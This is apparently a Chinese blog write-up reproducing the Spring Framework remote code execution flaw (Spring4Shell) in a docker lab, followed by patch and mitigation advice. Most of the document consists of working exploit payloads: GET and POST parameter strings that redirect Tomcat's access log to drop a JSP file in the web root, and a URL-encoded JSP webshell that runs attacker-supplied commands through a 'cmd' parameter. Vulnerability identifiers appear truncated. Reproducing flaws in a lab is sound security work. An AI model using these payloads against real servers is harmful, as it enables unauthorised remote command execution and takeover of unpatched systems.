3 月 30 日,国家信息安全漏洞共享平台(CNVD)接收到蚂蚁科技集团股份有限公司报送的 Spring 框架远程命令执行漏洞(CNVD--23942)。攻击者利用该漏洞,可在未授权的情况下远程执行命令。CNVD 对该漏洞的综合评级为“高危”。
漏洞利用条件:
jdk9+Spring 及其衍生框架使用tomcat部署spring项目使用了POJO参数绑定Spring Framework 5.3.X < 5.3.18 、2.X < 5.2.20 或者其他版本
漏洞复现:
使用docker搭建SpringCore RCE测试环境
docker pull vulfocus/spring-core-rce--03-29 //下载靶场
docker run -dit -p 8090:8080 vulfocus/spring-core-rce--03-29 //运行靶场
访问8090端口,搭建成功
完整测试payload:
//脚本内容,输入测试内容testclass.module.classLoader.resources.context.parent.pipeline.first.pattern=test//修改tomcat日志文件后缀,javaweb搭建的环境,这里改为.jspclass.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp//写入文件到网站根目录,根目录是webapps/ROOTclass.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT//写入文件名称为testclass.module.classLoader.resources.context.parent.pipeline.first.prefix=test//文件日期格式(实际构造为空值即可)class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
GET利用:(按顺序逐条发送payload)
class.module.classLoader.resources.context.parent.pipeline.first.pattern=test
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=test
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
POST利用:(一次性发送整个测试payload)
class.module.classLoader.resources.context.parent.pipeline.first.pattern=test&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
访问http://192.168.96.155:8090/test.jsp,文件存在,这里是因为我之前写入过其他
查看docker下的test.jsp文件:
docker ps //查看docker进程
docker exec -it fad4f4c30324 /bin/bash //进入靶场容器
cd/app/tomcat/webapps/ROOT //进入网站根目录
可以看到,test是刚刚写入的内容
写入木马: GET或者POST方法都可以
请求内容:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22t%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di
http头部添加:
suffix:%>//
c1:Runtime
c2:<%
如下:
执行命令:
pwd=t&cmd=id
漏洞原理分析:
Spring Framework CVE--22965漏洞详细分析 - 简书
漏洞修复:
方案1:升级到Spring Framework 5.3.18 和 5.2.20
方案2:
Spring 官方建议通过 @ControllerAdvice 来设置 WebDataBinder 的 disallowedFields。
这个解决方案通常会有效,但也并不是 100% 可以阻止漏洞。
为了更加保险一些,Spring.io 还建议应用程序可以扩展 RequestMappingHandlerAdapter,同时在所有其他初始化之后,在最后更新WebDataBinder。
参考链接:
【Vulfocus漏洞复现】spring-core-rce--03-29_青果@的博客-CSDN博客
Spring 官方证实:框架爆大漏洞,JDK 9 及以上版本均受影响